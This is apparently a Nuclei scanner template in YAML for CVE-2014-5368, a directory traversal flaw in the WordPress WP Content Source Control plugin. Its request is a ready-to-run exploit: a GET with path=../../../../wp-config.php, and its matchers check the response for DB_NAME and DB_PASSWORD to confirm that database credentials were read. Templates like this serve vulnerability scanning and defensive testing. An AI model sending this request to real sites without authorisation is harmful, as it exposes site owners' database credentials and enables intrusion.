30 lines
963 B
YAML
30 lines
963 B
YAML
|
id: CVE-2014-5368
|
||
|
|
||
|
info:
|
||
|
name: WordPress Plugin WP Content Source Control - Directory Traversal
|
||
|
author: daffainfo
|
||
|
severity: high
|
||
|
description: Directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter.
|
||
|
reference: |
|
||
|
- https://www.exploit-db.com/exploits/39287
|
||
|
- https://www.cvedetails.com/cve/CVE-2014-5368
|
||
|
tags: cve,cve2014,wordpress,wp-plugin,lfi
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- "{{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php"
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
words:
|
||
|
- "DB_NAME"
|
||
|
- "DB_PASSWORD"
|
||
|
part: body
|
||
|
condition: and
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|